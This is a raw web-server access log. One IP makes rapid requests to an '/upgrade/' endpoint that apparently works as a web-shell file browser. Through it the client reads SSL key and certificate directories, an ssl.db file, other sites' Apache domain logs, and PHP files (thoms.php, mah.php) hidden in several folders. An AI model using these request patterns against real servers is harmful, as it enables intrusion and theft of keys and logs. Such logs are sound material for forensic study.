45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fserver.c302.cloudmark.com.conf&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 7055 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fserver.c302.cloudmark.com.conf&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 51138 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2Fhome%2F HTTP/1.1" 200 5766 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor%2F&option=folder HTTP/1.1" 200 6645 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fserver.c303.cloudmark.com.conf&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 7056 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fserver.c303.cloudmark.com.conf&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache%2F HTTP/1.1" 200 6164 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fservers.catalogue.lst&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 6732 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fservers.catalogue.lst&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flscache%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Flscache%2F HTTP/1.1" 200 18882 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flscache%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Flscache%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2Fhome%2F HTTP/1.1" 200 5765 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2F HTTP/1.1" 200 7820 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Frazor-agent.log&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 1353093 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Frazor-agent.log&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache%2F&option=file HTTP/1.1" 200 6175 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flscache%2F HTTP/1.1" 200 6154 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flscache%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache%2F&option=folder HTTP/1.1" 200 6136 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:58 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7874 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2Fhome%2Fblackpussy06%2Flscache%2F HTTP/1.1" 200 6177 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flscache&location=%2Fhome%2Fblackpussy06%2Flscache%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flscache%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Flscache%2F HTTP/1.1" 200 50697 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flscache%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Flscache%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2Fcsrs HTTP/1.1" 200 6174 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2Fcsrs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7871 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2Fhome%2Fblackpussy06%2Fssl%2F HTTP/1.1" 200 6516 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2Fhome%2Fblackpussy06%2Fssl%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F&option=folder HTTP/1.1" 200 6513 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F&option=dir HTTP/1.1" 200 6515 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2Fkeys HTTP/1.1" 200 12155 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2Fkeys" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fssl%2F HTTP/1.1" 200 19251 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fssl%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2F HTTP/1.1" 200 7815 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fssl%2F HTTP/1.1" 200 6494 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fssl%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2Fcerts HTTP/1.1" 200 18481 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2Fcerts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F&option=file HTTP/1.1" 200 6513 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fssl.db.cache&location=%2Fhome%2Fblackpussy06%2Fssl%2F HTTP/1.1" 200 101049 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fssl.db.cache&location=%2Fhome%2Fblackpussy06%2Fssl%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2Fhome%2F HTTP/1.1" 200 5764 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fssl&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F HTTP/1.1" 200 6503 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fssl.db&location=%2Fhome%2Fblackpussy06%2Fssl%2F HTTP/1.1" 200 101135 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fssl.db&location=%2Fhome%2Fblackpussy06%2Fssl%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fssl%2F HTTP/1.1" 200 51043 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fssl%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fssl%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash%2F&option=file HTTP/1.1" 200 6170 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.trash%2F HTTP/1.1" 200 6150 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.trash%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash%2F&option=folder HTTP/1.1" 200 6169 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash%2F HTTP/1.1" 200 6159 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2Fhome%2F HTTP/1.1" 200 5764 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.trash%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.trash%2F HTTP/1.1" 200 18881 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.trash%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.trash%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7904 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.trash%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.trash%2F HTTP/1.1" 200 50695 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.trash%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.trash%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2F HTTP/1.1" 200 7821 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2Fhome%2Fblackpussy06%2F.trash%2F HTTP/1.1" 200 6172 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.trash&location=%2Fhome%2Fblackpussy06%2F.trash%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:00 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbfl.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 412613 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbfl.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:01 -0400] "GET /upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2F HTTP/1.1" 200 7461 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:01 -0400] "GET /upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2F HTTP/1.1" 200 5805 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:01 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbeauty-dental.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 32228 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbeauty-dental.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:01 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbooking-wise2.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 463799 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbooking-wise2.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:01 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbeauty-dental.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 656889 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbeauty-dental.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:02 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbfl.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 70043 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbfl.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:02 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbioway88.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 28858 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbioway88.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:02 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbodbooks.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 58013 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbodbooks.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2F HTTP/1.1" 200 7862 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2F HTTP/1.1" 200 5834 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fba-guo.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 36029 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fba-guo.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fba-guo.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 457964 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fba-guo.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
